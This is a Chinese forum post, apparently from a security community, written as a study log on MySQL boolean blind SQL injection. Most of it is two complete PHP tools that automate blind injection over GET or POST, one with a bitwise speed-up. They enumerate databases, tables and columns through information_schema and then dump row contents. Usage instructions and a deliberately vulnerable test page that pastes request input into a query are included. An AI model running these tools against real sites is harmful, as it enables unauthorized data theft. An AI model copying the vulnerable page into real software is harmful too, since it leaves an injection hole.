前言
由于一些个人原因,很久没有研究WEB安全方面的一些问题了(废话四个月前月还发了帖),正好炎炎夏日暑假的生活到来,这个时候我需要的是恶补,恶补,恶补。兜兜转转到了SQL盲注部分,然后在SQL盲注上面下了不少功夫,因为最初没有怎么去理解它,都是拿着sqlmap一顿梭。原谅我非要把我的学习过程写下来,取工具翻到最下最下最下就OK了。hhh。
information_schema图
看什么看,这就是一张图片
因为SQL盲注时注入数据会常用到information_schema库,所以自己总结成一张图片大家也抽空记忆一下
SQL盲注简单又”复杂”的方法
针对于SQL盲注我们不会像联合注入一样非常轻松,有时需要burpsuite进行爆破,有时我们需要安装sqlmap(没有sqlmap我玩个寂寞啊),而有时结构复杂我们又非得自己写工具,所以我们先看看关于SQL盲注的一些方法吧。
对于Mysql的内置函数,如database()等函数还是比较容易的。
在页面返回true或false的情况下我们可以通过逻辑与运算,来进行判断database()函数的长度,例如and length((select database()))=1、and length((select database()))=2、and length((select database()))=3...直到页面返回true。随后可以借助mid/substr字符串截取函数来进行一个一个字符的猜解。例如:and substr(database(),1,1)=’r’。那么当我们要进行获取数据库内的信息时,我们需要借助information_schema库。但针对于SQL盲注来讲,information_schema库我们如果手工的话,可能这个夏天要过去了吧。
首先这里先了解一下盲注information_schema库是怎么个玩法,再来编写脚本。
我们要知道information_schema.schemata的schema_name有几条(总共有几个数据库?),还要通过schema_name的条数来通过limit来对每一条的长度进行计算(我要得到的信息有几位字母/数?),然后我们通过字符的长度来通过substr截取出来然后判断每一个字符是什么(我要得到的信息是什么?)。好了,你成功的得到了一条数据。
我们的算法就是非常简单,就是一个一个试,试一年,拿一个字符是一个字符,拿一条数据库信息就是赚到,安全就是这么勤奋且有趣
针对于SQL盲注简单又”复杂”的方法的PHP脚本编写
<!DOCTYPE html>
<html>
<head>
<title>SQL盲注工具-.-By:T00ls</title>
<meta charset="utf-8">
</head>
<body>
<?php
ini_set('max_execution_time',0);
$dbname = isset($_GET['dbname']) ? $_GET['dbname'] : '';
$tablename = isset($_GET['tablename']) ? $_GET['tablename'] : '';
$columnname = isset($_GET['columnname']) ? $_GET['columnname'] : '';
$_az = range('a','z');
$_AZ = range('A','Z');
$_19 = range('1','9');
$_other = array('@','_','.','%','/');
$_sum = array_merge($_az,$_AZ,$_19,$_other);
$sqlUrl = 'http://www.phptest.com/6.php?id=1';
$okContent = file_get_contents($sqlUrl);
if(!$dbname){
$DBCount = 1;
while(true){//获取count
$InjectionStatement = '+and+(select+count(schema_name)+from+information_schema.schemata)='.$DBCount.'+--+';
$DBTesting = file_get_contents($sqlUrl.$InjectionStatement);
if($DBTesting == $okContent){
break;
}else{
$DBCount ++;
}
}
$DBLengthArr = array();
for($i = 0; $i < $DBCount; $i++){
$TempNum = 1;
while(true){
$InjectionStatement = '+and+length((select+schema_name+from+information_schema.schemata+limit+'.$i.',1))='.$TempNum.'+--+';
$DBTesting = file_get_contents($sqlUrl.$InjectionStatement);
if($DBTesting == $okContent){
$DBLengthArr[$i] = $TempNum;
break;
}else{
$TempNum ++;
}
}
}
$DBNameArr = array();
foreach ($DBLengthArr as $Llimit => $dblength) {
for ($i=1; $i <= $dblength; $i++) {
foreach ($_sum as $key => $value) {
$InjectionStatement = '+and+mid((select+schema_name+from+information_schema.schemata+limit+'.$Llimit.',1),'.$i.',1)="'.$value.'"'.'+--+';
$DBTesting = file_get_contents($sqlUrl.$InjectionStatement);
if($DBTesting == $okContent){
$DBNameArr[$Llimit] .= $value;
break;
}
}
}
}
$DBName = implode('<br>',$DBNameArr);
die('盲注完成,当前数据库名称有:<br>'.$DBName);
}else{
$InjectionStatement = '+and+find_in_set("'.$dbname.'",(SELECT+group_concat(schema_name,",")+FROM+information_schema.schemata+where+schema_name="'.$dbname.'"))'.'+--+';
$DBTesting = file_get_contents($sqlUrl.$InjectionStatement);
if($DBTesting <> $okContent){
die($dbname.'数据库不存在,请重新复制粘贴,谢谢');
}
}
if(!$tablename){
$TBcountFlag = false;
$TBlength = 1;
while(true){
$InjectionStatement = '+and+(SELECT+count(*)+FROM+information_schema.tables+WHERE+table_schema="'.$dbname.'")='.$TBlength.'+--+';
if(file_get_contents($sqlUrl.$InjectionStatement) == $okContent){
break;
}else{
$TBlength ++;
}
}
$TBNameArr = array();
$TBSubArr = array();
for($i = 1; $i <= $TBlength; $i++){
$TBFlag = 1;
while(true){
$InjectionStatement = '+and+(SELECT+length(table_name)+FROM+information_schema.tables+WHERE+table_schema="'.$dbname.'"+limit+'.($i-1).',1)='.$TBFlag.'+--+';
$DBTesting = file_get_contents($sqlUrl.$InjectionStatement);
if($DBTesting == $okContent){
$TBSubArr[$i-1] .= $TBFlag;
break;
}else{
$TBFlag ++;
}
}
}
foreach ($TBSubArr as $k => $v) {
for($j = 1; $j <= $v; $j++){
foreach ($_sum as $key => $value) {
$InjectionStatement = '+and+mid((SELECT+table_name+FROM+information_schema.tables+WHERE+table_schema="'.$dbname.'"+limit+'.$k.',1),'.$j.',1)="'.$value.'"'.'+--+';
$DBTesting = file_get_contents($sqlUrl.$InjectionStatement);
if($DBTesting == $okContent){
$TBNameArr[$k] .= $value;
break;
}
}
}
}
$TBstring = implode('<br>',$TBNameArr);
die('盲注完成,数据库'.$dbname.'所拥有的表:<br>'.$TBstring);
}else{
$InjectionStatement = '+and+find_in_set("'.$tablename.'",(SELECT+group_concat(table_name,",")+FROM+information_schema.tables+where+table_name="'.$tablename.'"+and+table_schema=+"'.$dbname.'"))'.'+--+';
$DBTesting = file_get_contents($sqlUrl.$InjectionStatement);
if($DBTesting <> $okContent){
die($tablename.'表不存在,请重新复制粘贴,谢谢');
}
}
if(!$columnname){
$ColumnCount = 1;
while(true){
$InjectionStatement = '+and+(select+count(column_name)+from+information_schema.columns+where+table_name="'.$tablename.'"+and+table_schema="'.$dbname.'")='.$ColumnCount.'+--+';
$DBTesting = file_get_contents($sqlUrl.$InjectionStatement);
if($DBTesting == $okContent){
break;
}else{
$ColumnCount ++;
}
}
$EveryColumnCountArr = array();
for ($i=0; $i < $ColumnCount; $i++) {
$EveryColumnCount = 1;
while (true) {
$InjectionStatement = '+and+length((select+column_name+from+information_schema.columns+where+table_name="'.$tablename.'"+and+table_schema="'.$dbname.'"+limit+'.$i.',1))='.$EveryColumnCount.'+--+';
$DBTesting = file_get_contents($sqlUrl.$InjectionStatement);
if($DBTesting == $okContent){
$EveryColumnCountArr[$i] = $EveryColumnCount;
break;
}else{
$EveryColumnCount ++;
}
}
}
$CMNameArr = array();
foreach ($EveryColumnCountArr as $k => $v) {
for($j = 1; $j <= $v; $j++){
foreach ($_sum as $key => $value) {
$InjectionStatement = '+and+mid((select+column_name+from+information_schema.columns+where+table_name="'.$tablename.'"+and+table_schema="'.$dbname.'"+limit+'.$k.',1),'.$j.',1)="'.$value.'"'.'+--+';
$DBTesting = file_get_contents($sqlUrl.$InjectionStatement);
if($DBTesting == $okContent){
$CMNameArr[$k] .= $value;
break;
}
}
}
}
$CMstring = implode('<br>',$CMNameArr);
die('盲注完成,数据库'.$dbname.'中'.$tablename.'表所拥有的字段:<br>'.$CMstring);
}
if($dbname && $tablename && $columnname){
$strLen = 0;
$columnTrueCount = '';
$columnname = explode(',', $columnname);
$columnCount = 1;
while (true) {
$InjectionStatement = '+and+(select+count('.$columnname[0].')+from+'.$dbname.'.'.$tablename.')='.$columnCount.'+--+';
$DBTesting = file_get_contents($sqlUrl.$InjectionStatement);
if($DBTesting == $okContent){
$columnTrueCount = $columnCount;
break;
}else{
$columnCount ++;
}
}
$columnLength = array();
foreach ($columnname as $key => $value) {
for ($i=0; $i < $columnTrueCount; $i++) {
$flagLength = 1;
while (true) {
$InjectionStatement = '+and+length((select+'.$value.'+from+'.$dbname.'.'.$tablename.'+limit+'.$i.',1))="'.$flagLength.'"'.'+--+';
$DBTesting = file_get_contents($sqlUrl.$InjectionStatement);
if($DBTesting == $okContent){
$columnLength[$i][$value] = $flagLength;
break;
}else{
$flagLength ++;
}
}
}
}
$ColumnContent = array();
foreach ($columnLength as $lTrim => $lTrimValue) {
foreach ($lTrimValue as $columnNames => $columnNamesLength) {
for ($i=1; $i <= $columnNamesLength; $i++) {
foreach ($_sum as $key => $value) {
$InjectionStatement = '+and+mid((select+'.$columnNames.'+from+'.$dbname.'.'.$tablename.'+limit+'.$lTrim.',1),'.$i.',1)="'.$value.'"'.'+--+';
$DBTesting = file_get_contents($sqlUrl.$InjectionStatement);
if($DBTesting == $okContent){
$ColumnContent[$lTrim][$columnNames] .= $value;
break;
}
}
}
}
}
}
?>
<table border=1>
<tbody><?php echo $dbname.'.'.$tablename.'下的'.implode('/',$columnname).'表';?></tbody>
<tr>
<?php foreach($columnname as $k=>$v):?>
<th><?php echo $v;?></th>
<?php endforeach;?>
</tr>
<?php foreach($ColumnContent as $k => $v):?>
<tr>
<?php foreach($v as $key=>$value):?>
<td><?php echo $value;?></td>
<?php endforeach;?>
</tr>
<?php endforeach;?>
</table>
</body>
</html>
归根到底,复习还是复习,虽然算法比较简单明了,也是需要尝试一遍,花了一些时间实现了0x02所说的编写思路,吐槽一下,代码还是要天天写,很久没写确实写法都不一样了,上述代码是完全通过面向过程编写,都没有封装方法,导致我只实现了get请求的获取方式。
然后找一处SQL盲注的页面:
<?php
$mysqli = new mysqli('localhost','root','root','选择的数据库',3306);
if($mysqli -> connect_error){
die($mysqli -> connect_errno);
}
$mysqli -> set_charset('utf8');
$sql = "SELECT * FROM `user` WHERE id={$_REQUEST['id']}";
//echo $_REQUEST['id'];
$res = $mysqli -> query($sql);
if($res){
$row = $res->fetch_assoc();
if($row){
echo 'yes';
}else{
echo 'no';
}
}else{
echo 'SQL语句错误'.$sql;
}
使用说明书:
1.在21行中填写我们要盲注的站点(注入类型必须为数字型)
2.在什么都不知道的情况下访问一下该页面。
可以看到完全一一对应
3.添加参数?dbname=要选择查询的数据库
4.紧接着传入参数tablename=要选择查询的表
5.传入参数columnname=字段1,字段2....
通过Mysql位运算来优化访问频率
我们当然知道上面工具的执行效率,一个字,低!!!然而我们会想到二分法等算法来优化我们的代码。但是这里给大家介绍的是Mysql位运算。
我们知道二分法是通过ascii码来进行取大取小的,想到ascii码就有趣了。如图:字符a的ASCII码值为97
那么我们看一下它的二进制
是1100001一共七位字符串,因为ASCII码值1-127,十转二进制255为最大,所以这里不会出现八位的情况。
那么我们通过substr/mid函数来依次截取二进制的第一位、二进制的第二位、.....、二进制的第七位依次对1进行位运算中的与运算。
与运算图:
然后通过与运算我们就可以获取到数据的真正二进制数值,下面我们简单获取一下r字符的二进制码。
将每次的结果进行拼接,可以得到r字母的ASCII值的二进制数。
那么我们进行二进制转换为10进制,ASCII码转字符,即可知道数据的第一位是什么。
数据表中的每一位字符只需要七次就可以完成,比第一种方式快了许多许多。
那么我们这里要注意的是,mysql的bin函数结果不够八位前面是没有0字符的,因为我编写脚本踩了坑,导致我盲注了一些非常古怪的字符。。。
我们通过mysql的lpad函数来进行前面补零,如图:
还要注意的是数字类型返回六位二进制,如图:
还好MySQL提供了补零函数,不然自己搞起来是真的麻烦。
整个逻辑搞清楚开始编写位运算盲注代码
Mysql位运算盲注代码
这里为了不犯面向过程的错误,封装了几个方法,并且加入了POST请求盲注方式
代码如下:
<!DOCTYPE html>
<html>
<head>
<title>SQL盲注工具-.-By:T00ls</title>
<meta charset="utf-8">
</head>
<body>
<?php
ini_set('max_execution_time',0);
$dbname = isset($_GET['dbname']) ? $_GET['dbname'] : '';
$tablename = isset($_GET['tablename']) ? $_GET['tablename'] : '';
$columnname = isset($_GET['columnname']) ? $_GET['columnname'] : '';
$method = isset($_GET['method']) ? $_GET['method'] : 'get';
$InjectionUrl = 'http://www.phptest.com/6.php?id=1'; /* 如果遇到字符型SQL注入请在id前面添加单引号闭合 !!!*/
if($method == 'post'){
$data = array(
'id' => '1{\'_T00ls_}', /* {XXX_T00ls_} 如果遇到字符串型SQL注入,请将XXX部分改为单引号自行闭合 !!!*/
'pass' => 'admin888'
);
$okContentData = $data;
function sendValue($sql){
global $data,$InjectionUrl;
$tempData = $data;
foreach ($tempData as $key => $value) {
preg_match('/\{.*?_T00ls_\}/', $value,$match);
if($match[0]){
$tempData[$key] = str_replace('_T00ls_', $sql, $value).' -- \\';
$tempData[$key] = str_replace('{', '', $tempData[$key]);
$tempData[$key] = str_replace('}', '', $tempData[$key]);
//echo $tempData[$key].'<br>';
}
}
$requestBody = http_build_query($tempData);
$option = array(
'http' => array(
'method' => 'POST',
'header' => "Content-type: application/x-www-form-urlencoded\r\n"."Content-Length: " . mb_strlen($requestBody),
'content' => $requestBody
)
);
$context = stream_context_create($option);
$response = file_get_contents($InjectionUrl,false,$context);
return $response;
}
foreach ($okContentData as $key => $value) {
preg_match('/\{.*?_T00ls_\}/', $value,$okmatch);
if($okmatch[0]){
$okContentData[$key] = str_replace($okmatch[0], '', $value);
}
}
$ok_requestBody = http_build_query($okContentData);
$ok_option = array(
'http' => array(
'method' => 'POST',
'header' => "Content-type: application/x-www-form-urlencoded\r\n"."Content-Length: " . mb_strlen($ok_requestBody),
'content' => $ok_requestBody
)
);
$ok_context = stream_context_create($ok_option);
$okContent = file_get_contents($InjectionUrl,false,$ok_context);
//echo $okContent;exit;
}else{
function sendValue($sql){
global $InjectionUrl;
$Url = $InjectionUrl.$sql.' -- \\';
$result = file_get_contents($Url);
return $result;
}
$okContent = file_get_contents($InjectionUrl.'+--+');
}
if(!$dbname){
$DBCount = 1;
while(true){
$InjectionStatement = ' and (SELECT count(SCHEMA_NAME) FROM information_schema.schemata)='.$DBCount;
if(sendValue($InjectionStatement) == $okContent){
break;
}else{
$DBCount ++;
}
}
$DBEveryLength = array();
for ($limit=0; $limit < $DBCount; $limit++) {
$DBLength = 0;
while(true){
$InjectionStatement = " and length((SELECT SCHEMA_NAME FROM information_schema.schemata limit {$limit},1))={$DBLength}";
if(sendValue($InjectionStatement) == $okContent){
break;
}else{
$DBLength ++;
}
}
$DBEveryLength[] = $DBLength;
}
$DBEveryString = array();
foreach ($DBEveryLength as $limit => $maxLength) {
for($substr = 1; $substr <= $maxLength; $substr++){
$str = '0';
for ($count=1; $count <= 7; $count++) {
/*$InjectionStatement = " and substr(bin(ord(substr((SELECT SCHEMA_NAME FROM information_schema.schemata limit {$limit},1),{$substr},1))),{$count},1)%261";*/
$InjectionStatement = " and substr(lpad(bin(ord(substr((SELECT SCHEMA_NAME FROM information_schema.schemata limit {$limit},1),{$substr},1))),7,0),{$count},1)%261";
if(sendValue($InjectionStatement) == $okContent){
$str .= 1;
}else{
$str .= 0;
}
}
$DBEveryString[$limit] .= chr(bindec($str));
}
}
$DBName = implode('<br>',$DBEveryString);
die('盲注完成,当前数据库名称有:<br>'.$DBName);
}
if(!$tablename){
$tableCount = 1;
while(true){
$InjectionStatement = " and (SELECT COUNT(table_name) FROM information_schema.tables WHERE table_schema='{$dbname}')={$tableCount}";
if(sendValue($InjectionStatement) == $okContent){
break;
}else{
$tableCount ++;
}
}
$tableLengthArr = array();
for ($limit=0; $limit < $tableCount; $limit++) {
$tableLength = 0;
while (true) {
$InjectionStatement = " and length((SELECT table_name FROM information_schema.tables WHERE table_schema='{$dbname}' limit {$limit},1))={$tableLength}";
if(sendValue($InjectionStatement) == $okContent){
break;
}else{
$tableLength ++;
}
}
$tableLengthArr[] = $tableLength;
}
$TBEveryString = array();
foreach ($tableLengthArr as $limit => $max_length) {
for ($substr = 1; $substr <= $max_length; $substr++) {
$str = '0';
for ($count = 1; $count <= 7; $count++) {
$InjectionStatement = " and substr(lpad(bin(ord(substr((SELECT table_name FROM information_schema.tables WHERE table_schema='{$dbname}' limit {$limit},1),{$substr},1))),7,0),{$count},1)%261";
if(sendValue($InjectionStatement) == $okContent){
$str .= 1;
}else{
$str .= 0;
}
}
$TBEveryString[$limit] .= chr(bindec($str));
}
}
$TBName = implode('<br>',$TBEveryString);
die("盲注完成,当前{$dbname}数据库名称有:<br>".$TBName);
}
if(!$columnname){
$columnCount = 1;
while(true){
$InjectionStatement = " and (SELECT COUNT(column_name) FROM information_schema.columns WHERE table_schema='{$dbname}' AND table_name='{$tablename}')={$columnCount}";
if(sendValue($InjectionStatement) == $okContent){
break;
}else{
$columnCount ++;
}
}
$columnLengthArr = array();
for ($limit=0; $limit < $columnCount; $limit++) {
$columnLength = 0;
while (true) {
$InjectionStatement = " and length((SELECT column_name FROM information_schema.columns WHERE table_schema='{$dbname}' AND table_name='{$tablename}' limit {$limit},1))={$columnLength}";
if(sendValue($InjectionStatement) == $okContent){
break;
}else{
$columnLength ++;
}
}
$columnLengthArr[] = $columnLength;
}
$CNEveryString = array();
foreach ($columnLengthArr as $limit => $max_length) {
for ($substr = 1; $substr <= $max_length; $substr++) {
$str = '0';
for ($count = 1; $count <= 7; $count++) {
$InjectionStatement = " and substr(lpad(bin(ord(substr((SELECT column_name FROM information_schema.columns WHERE table_schema='{$dbname}' and table_name='{$tablename}' limit {$limit},1),{$substr},1))),7,0),{$count},1)%261";
if(sendValue($InjectionStatement) == $okContent){
$str .= 1;
}else{
$str .= 0;
}
}
$CNEveryString[$limit] .= chr(bindec($str));
}
}
$CNName = implode('<br>',$CNEveryString);
die("盲注完成,当前{$dbname}数据库{$tablename}表名称有:<br>".$CNName);
}
if($dbname && $tablename && $columnname){
$strLen = 0;
$columnTrueCount = '';
$columnname = explode(',', $columnname);
$columnCount = 1;
while (true) {
$InjectionStatement = ' and (select count('.$columnname[0].') from '.$dbname.'.'.$tablename.')='.$columnCount;
if(sendValue($InjectionStatement) == $okContent){
$columnTrueCount = $columnCount;
break;
}else{
$columnCount ++;
}
}
$columnLength = array();
foreach ($columnname as $key => $value) {
for ($i=0; $i < $columnTrueCount; $i++) {
$flagLength = 1;
while (true) {
$InjectionStatement = ' and length((select '.$value.' from '.$dbname.'.'.$tablename.' limit '.$i.',1))="'.$flagLength.'"';
if(sendValue($InjectionStatement) == $okContent){
$columnLength[$i][$value] = $flagLength;
break;
}else{
$flagLength ++;
}
}
}
}
$ColumnContent = array();
foreach ($columnLength as $lTrim => $lTrimValue) {
foreach ($lTrimValue as $columnNames => $columnNamesLength) {
for ($i=1; $i <= $columnNamesLength; $i++) {
$str = 0;
for ($k=1; $k <= 7; $k++) {
$InjectionStatement = " and substr(lpad(bin(ord(mid((SELECT {$columnNames} FROM {$dbname}.{$tablename} limit {$lTrim},1),{$i},1))),7,0),{$k},1)%261";
if(sendValue($InjectionStatement) == $okContent){
$str .= 1;
}else{
$str .= 0;
}
}
$ColumnContent[$lTrim][$columnNames] .= chr(bindec($str));
}
}
}
}
?>
<table border=1>
<tbody><?php echo $dbname.'.'.$tablename.'下的'.implode('/',$columnname).'表';?></tbody>
<tr>
<?php foreach($columnname as $k=>$v):?>
<th><?php echo $v;?></th>
<?php endforeach;?>
</tr>
<?php foreach($ColumnContent as $k => $v):?>
<tr>
<?php foreach($v as $key=>$value):?>
<td><?php echo $value;?></td>
<?php endforeach;?>
</tr>
<?php endforeach;?>
</table>
</body>
</html>
使用说明书:
1.还是之前的?dbname&tablename&columnname来进行获取数据
2.添加?method=get/post来表明通过哪种方式盲注,如图:
3.若要进行POST请求请在19-20行设置字段,如图:
4.GET请求如果遇到字符串类型也需要自行闭合单引号,如图:
工具使用注意事项
因为工具由PHP编写,而SQL盲注属于较大的工程,比较耗时间,PHP容器有时可能会报503超时错误,我们需要在nginx.conf文件中添加如下配置项
fastcgi_connect_timeout 300;
fastcgi_send_timeout 300;
fastcgi_read_timeout 300;
尾巴
顶个帖子,谢谢阅读完,想看更多内容请到主页观看!!!
白嫖怪的福音来了